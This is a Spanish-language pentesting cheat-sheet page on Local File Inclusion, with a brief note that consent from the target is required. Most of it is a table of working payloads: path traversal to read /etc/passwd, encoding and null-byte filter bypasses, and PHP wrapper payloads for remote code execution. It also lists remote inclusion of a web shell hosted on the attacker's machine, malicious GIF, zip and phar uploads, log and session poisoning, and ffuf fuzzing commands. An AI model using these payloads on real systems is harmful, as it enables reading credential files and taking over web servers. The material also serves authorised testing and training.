Local File Inclusion
Local File Inclusion es una técnica de ataque utilizada para acceder a archivos y directorios fuera de la ubicación prevista en un sistema web, por ejemplo añadiendo parámetros en la URL.
Última actualización
¿Te fue útil?
Local File Inclusion es una técnica de ataque utilizada para acceder a archivos y directorios fuera de la ubicación prevista en un sistema web, por ejemplo añadiendo parámetros en la URL.
Última actualización
¿Te fue útil?
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a ganar acceso a distintos sistemas, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Podemos utilizar BurpSuite y escanear una petición, buscando un parámetro tipo:
Suele pasar mucho en páginas en php y que tengan varios idiomas.
Para acceder al archivo passwd podríamos añadir en la URL:
Podemos automatizar el proceso de búsqueda de un Local File Inclusion con Gobuster y el diccionario LFI-Jhaddix.txt
de las Seclists:
LFI Suite es una herramienta de código abierto diseñada para automatizar y facilitar la identificación y explotación de vulnerabilidades de Inclusión de Archivos Locales (LFI) en aplicaciones web.
Comando
Descripción
Basic LFI
/index.php?language=/etc/passwd
LFI Básico
/index.php?language=../../../../etc/passwd
LFI con path traversal
/index.php?language=/../../../etc/passwd
LFI con name prefix
/index.php?language=./languages/../../../../etc/passwd
LFI con approved path
LFI Bypasses
/index.php?language=....//....//....//....//etc/passwd
Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
Bypass de filtros con URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
Bypass appended extension con path truncation (obsoleto)
/index.php?language=../../../../etc/passwd%00
Bypass appended extension con null byte (obsoleto)
/index.php?language=php://filter/read=convert.base64-encode/resource=config
Leer PHP con filtro base64
Comando
Descripción
PHP Wrappers
/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
RCE con data wrapper
curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id"
RCE con input wrapper
curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"
RCE con expect wrapper
RFI
echo '<?php system($_GET["cmd"]); ?>' > shell.php && python3 -m http.server <LISTENING_PORT>
Host webshell
/index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
Include remote PHP web shell
LFI + Upload
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Crear imagen maliciosa
/index.php?language=./profile_images/shell.gif&cmd=id
RCE con imagen subida maliciosa
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
Crear un archivo zip malicioso 'como jpg'
/index.php?language=zip://shell.zip%23shell.php&cmd=id
RCE con zip subido malicioso
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
Crear phar malicioso 'como jpg'
/index.php?language=phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
RCE con phar subido malicioso
Log Poisoning
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
Leer los parámetros de la sesión PHP
/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Envenenar Sesión PHP con webshell
/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
RCE a través de una Sesión PHP envenenada
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A '<?php system($_GET["cmd"]); ?>'
Poison server log
/index.php?language=/var/log/apache2/access.log&cmd=id
RCE a través de una Sesión PHP envenenada
Comando
Descripción
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
Fuzz page parameters
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
Fuzz LFI payloads
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
Fuzz webroot path
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
Fuzz server configurations
Función
Leer contenido
Ejecutar contenido
URL remota
PHP
include()
/include_once()
✅
✅
✅
require()
/require_once()
✅
✅
❌
file_get_contents()
✅
❌
✅
fopen()
/file()
✅
❌
❌
NodeJS
fs.readFile()
✅
❌
❌
fs.sendFile()
✅
❌
❌
res.render()
✅
✅
❌
Java
include
✅
❌
❌
import
✅
✅
✅
.NET
@Html.Partial()
✅
❌
❌
@Html.RemotePartial()
✅
❌
✅
Response.WriteFile()
✅
❌
❌
include
✅
✅
✅